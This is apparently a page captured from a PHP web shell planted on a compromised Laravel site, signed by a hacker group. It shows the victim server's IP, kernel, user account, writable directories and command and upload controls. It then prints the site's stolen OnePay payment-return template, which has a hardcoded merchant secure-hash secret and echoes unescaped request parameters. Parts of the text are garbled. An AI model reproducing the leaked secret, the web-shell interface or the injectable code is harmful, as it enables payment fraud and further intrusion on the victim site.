ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/resources/views/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/resources/views/templates//onepay_sub.blade.php
@extends('index')

@section('content')

<?php

    $setting = Cache::get('setting');

     $a = App::getLocale();

?>

<?php

/* -----------------------------------------------------------------------------

 Version 2.0

--------------------------------------------------------------------------------

 @author OnePAy JSC

------------------------------------------------------------------------------*/

// *********************
// START OF MAIN PROGRAM
// *********************


// Define Constants
// ----------------
// This is secret for encoding the MD5 hash
// This secret will vary from merchant to merchant
// To not create a secure hash, let SECURE_SECRET be an empty string - ""
// $SECURE_SECRET = "secure-hash-secret";
$SECURE_SECRET = "A3EFDFABA8653DF2342E8DAC29B51AF0";

// If there has been a merchant secret set then sort and loop through all the
// data in the Virtual Payment Client response. While we have the data, we can
// append all the fields that contain values (except the secure hash) so that
// we can create a hash and validate it against the secure hash in the Virtual
// Payment Client response.


// NOTE: If the vpc_TxnResponseCode in not a single character then
// there was a Virtual Payment Client error and we cannot accurately validate
// the incoming data from the secure hash. */

// get and remove the vpc_TxnResponseCode code from the response fields as we
// do not want to include this field in the hash calculation
$vpc_Txn_Secure_Hash = $_GET ["vpc_SecureHash"];
unset ( $_GET ["vpc_SecureHash"] );

// set a flag to indicate if hash has been validated
$errorExists = false;

ksort ($_GET);

if (strlen ( $SECURE_SECRET ) > 0 && $_GET ["vpc_TxnResponseCode"] != "7" && $_GET ["vpc_TxnResponseCode"] != "No Value Returned") {
	
    //$stringHashData = $SECURE_SECRET;
    //*****************************khởi tạo chuỗi mã hóa rỗng*****************************
    $stringHashData = "";
	
	// sort all the incoming vpc response fields and leave out any with no value
	foreach ( $_GET as $key => $value ) {
//        if ($key != "vpc_SecureHash" or strlen($value) > 0) {
//            $stringHashData .= $value;
//        }
//      *****************************chỉ lấy các tham số bắt đầu bằng "vpc_" hoặc "user_" và khác trống và không phải chuá»—i hash code trả vá»*****************************
        if ($key != "vpc_SecureHash" && (strlen($value) > 0) && ((substr($key, 0,4)=="vpc_") || (substr($key,0,5) =="user_"))) {
		    $stringHashData .= $key . "=" . $value . "&";
		}
	}
//  *****************************Xóa dấu & thừa cuối chuỗi dữ liệu*****************************
    $stringHashData = rtrim($stringHashData, "&");	
	
	
//    if (strtoupper ( $vpc_Txn_Secure_Hash ) == strtoupper ( md5 ( $stringHashData ) )) {
//    *****************************Thay hàm tạo chuỗi mã hóa*****************************
	if (strtoupper ( $vpc_Txn_Secure_Hash ) == strtoupper(hash_hmac('SHA256', $stringHashData, pack('H*',$SECURE_SECRET)))) {
		// Secure Hash validation succeeded, add a data field to be displayed
		// later.
		$hashValidated = "CORRECT";
	} else {
		// Secure Hash validation failed, add a data field to be displayed
		// later.
		$hashValidated = "INVALID HASH";
	}
} else {
	// Secure Hash was not validated, add a data field to be displayed later.
	$hashValidated = "INVALID HASH";
}

// Define Variables
// ----------------
// Extract the available receipt fields from the VPC Response
// If not present then let the value be equal to 'No Value Returned'
// Standard Receipt Data
$amount = null2unknown ( $_GET ["vpc_Amount"] );
$locale = null2unknown ( $_GET ["vpc_Locale"] );
//$batchNo = null2unknown ( $_GET ["vpc_BatchNo"] );
$command = null2unknown ( $_GET ["vpc_Command"] );
//$message = null2unknown ( $_GET ["vpc_Message"] );
$version = null2unknown ( $_GET ["vpc_Version"] );
//$cardType = null2unknown ( $_GET ["vpc_Card"] );
$orderInfo = null2unknown ( $_GET ["vpc_OrderInfo"] );
//$receiptNo = null2unknown ( $_GET ["vpc_ReceiptNo"] );
$merchantID = null2unknown ( $_GET ["vpc_Merchant"] );
//$authorizeID = null2unknown ( $_GET ["vpc_AuthorizeId"] );
$merchTxnRef = null2unknown ( $_GET ["vpc_MerchTxnRef"] );
$transactionNo = null2unknown ( $_GET ["vpc_TransactionNo"] );
//$acqResponseCode = null2unknown ( $_GET ["vpc_AcqResponseCode"] );
$txnResponseCode = null2unknown ( $_GET ["vpc_TxnResponseCode"] );

// This is the display title for 'Receipt' page 
//$title = $_GET ["Title"];


// This method uses the QSI Response code retrieved from the Digital
// Receipt and returns an appropriate description for the QSI Response Code
//
// @param $responseCode String containing the QSI Response Code
//
// @return String containing the appropriate description
//
function getResponseDescription($responseCode) {
	
	switch ($responseCode) {
		case "0" :
			$result = "Giao dịch thành công - Approved";
			break;
		case "1" :
			$result = "Ngân hàng từ chối giao dịch - Bank Declined";
			break;
		case "3" :
			$result = "Mã đơn vị không tồn tại - Merchant not exist";
			break;
		case "4" :
			$result = "Không đúng access code - Invalid access code";
			break;
		case "5" :
			$result = "Số tiá»n không hợp lệ - Invalid amount";
			break;
		case "6" :
			$result = "Mã tiá»n tệ không tồn tại - Invalid currency code";
			break;
		case "7" :
			$result = "Lỗi không xác định - Unspecified Failure ";
			break;
		case "8" :
			$result = "Số thẻ không đúng - Invalid card Number";
			break;
		case "9" :
			$result = "Tên chủ thẻ không đúng - Invalid card name";
			break;
		case "10" :
			$result = "Thẻ hết hạn/Thẻ bị khóa - Expired Card";
			break;
		case "11" :
			$result = "Thẻ chưa đăng ký sử dụng dịch vụ - Card Not Registed Service(internet banking)";
			break;
		case "12" :
			$result = "Ngày phát hành/Hết hạn không đúng - Invalid card date";
			break;
		case "13" :
			$result = "Vượt quá hạn mức thanh toán - Exist Amount";
			break;
		case "21" :
			$result = "Số tiá»n không đủ để thanh toán - Insufficient fund";
			break;
		case "99" :
			$result = "Ngưá»i sá»§ dụng há»§y giao dịch - User cancel";
			break;
		default :
			$result = "Giao dịch thất bại - Failured";
	}
	return $result;
}

//  -----------------------------------------------------------------------------
// If input is null, returns string "No Value Returned", else returns input
function null2unknown($data) {
	if ($data == "") {
		return "No Value Returned";
	} else {
		return $data;
	}
}
//  ----------------------------------------------------------------------------

$transStatus = "";
if($hashValidated=="CORRECT" && $txnResponseCode=="0"){
	$transStatus = "Giao dịch thành công";
}elseif ($hashValidated=="INVALID HASH" && $txnResponseCode=="0"){
	$transStatus = "Giao dịch Pendding";
}else {
	$transStatus = "Giao dịch thất bại";
}

// thanh toán add hàng vào em ơi
  


?>


<style type="text/css">
<!--



tr.title {
	height: 25px;
	background-color: #0074C4
}

td {
	font-family: Verdana, Arial, sans-serif;
	font-size: 8pt;
	color: #08185A
}

th {
	font-family: Verdana, Arial, sans-serif;
	font-size: 10pt;
	color: #08185A;
	font-weight: bold;
	background-color: #CED7EF;
	padding-top: 0.5em;
	padding-bottom: 0.5em
}

input {
	font-family: Verdana, Arial, sans-serif;
	font-size: 8pt;
	color: #08185A;
	background-color: #CED7EF;
	font-weight: bold
}



#background-image {
	font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
	font-size: 12px;
	width: 80%;
	text-align: left;
	border-collapse: collapse;
	background: url("...") 330px 59px no-repeat;
	margin: 20px;
}

#background-image th {
	font-weight: normal;
	font-size: 14px;
	color: #339;
	padding: 12px;
}

#background-image td {
	color: #669;
	border-top: 1px solid #fff;
	padding: 9px 12px;
}

#background-image tfoot td {
	font-size: 11px;
}

#background-image tbody td {
	background: url("./back.png");
}

* html 
#background-image tbody td {
	filter: progid : DXImageTransform.Microsoft.AlphaImageLoader ( src =
		'table-images/back.png', sizingMethod = 'crop' );
	background: none;
}

#background-image tbody tr:hover td {
	color: #339;
	background: none;
}
-->
</style>

   <section class="vk-content">

        <div class="vk-banner vk-background--image-1">

            <div class="container">

                <div class="vk-banner__content">
                    <div class="vk-banner__logo">
                        <a href="{{ url('/') }}" title="">
                            <img src="{{ asset('upload/hinhanh/'.$setting->images2) }}"  alt="Logo" />
                        </a>
                    </div> <!--./logo-->
                    <h2 class="vk-banner__heading text-uppercase"><span>{!! $a == 'vi' ? "Thanh toán thành công" : "Payment success" !!}</span></h2>
                </div>
            </div>
            <div class="vk-breadcrumb vk-banner__breadcrumb">
                <nav class="container">
                    <ul class="vk-list vk-list--inline vk-breadcrumb__list">
                        <li class="vk-list__item"><a href="{{ url('/') }}">{!! $a == 'vi' ? "Trang chá»§" : "Home" !!}</a></li>
                        <li class="vk-list__item active">{!! $a == 'vi' ? $transStatus : "Payment success" !!}</li>
                    </ul>
                </nav>
            </div>
       </div>
         
         <?php 
         session_start();
         echo $_SESSION['vpc_Customer_Email']; ?>
     <div class="vk-page vk-page--news">

        <div class="container">

            <div class="vk-news__list row">  
                <table id="background-image" summary="Meeting Results">
                	<thead>
                		<tr>
                			<th scope="col">Name</th>
                			<th scope="col">Value</th>
                			<th scope="col">Description</th>
                		</tr>
                	</thead>
                	<tfoot>
                		<tr>
                			<td align="center" colspan="4"></td>
                		</tr>
                	</tfoot>
                	<tbody>
                		<tr>
                			<td><strong><i>Merchant ID </i></strong></td>
                			<td><?php
                			echo $merchantID;
                			?></td>
                			<td>ÄÆ°á»£c cấp bởi OnePAY</td>
                		</tr>
                		<tr>
                			<td><strong><i>Merchant Transaction Reference</i></strong></td>
                			<td><?php
                			echo $merchTxnRef;
                			?></td>
                			<td>ID của giao dịch gửi từ website merchant</td>
                		</tr>
                		<tr>
                			<td><strong><i>Transaction OrderInfo</i></strong></td>
                			<td><?php
                			echo $orderInfo;
                			?></td>
                			<td>Tên hóa đơn</td>
                		</tr>
                		<tr>
                			<td><strong><i>Purchase Amount</i></strong></td>
                			<td><?php
                			echo number_format($amount/100);
                			?></td>
                			<td>Số tiá»n được thanh toán</td>
                		</tr>
                		
                		<tr>
                			<td><strong><i>VPC Transaction Response Code </i></strong></td>
                			<td><?php
                			echo $txnResponseCode;
                			?></td>
                			<td>Mã trạng thái giao dịch trả vá»</td>
                		</tr>
                		<tr>
                			<td><strong><i>Transaction Response Code Description </i></strong></td>
                			<td><?php echo getResponseDescription ( $txnResponseCode );
                			?></td>
                			<td>Trạng thái giao dịch</td>
                		</tr>
                		<tr>
                			<td><strong><i>Message</i></strong></td>
                			<td><?php
                			echo @$message;
                			?></td>
                			<td>Thông báo từ cổng thanh toán</td>
                		</tr>
                <?php
                // only display the following fields if not an error condition
                if ($txnResponseCode != "7" && $txnResponseCode != "No Value Returned") {
                	?>
                            <tr>
                			<td><strong><i>Transaction Number</i></strong></td>
                			<td><?php
                	echo $transactionNo;
                	?></td>
                			<td>ID giao dịch trên cổng thanh toán</td>
                		</tr>
                		
                <?php
                }
                ?>    
                	</tbody>
                </table>
            </div>
         </div>
       </div>
</section>
@endsection

Anon7 - 2022
AnonSec Team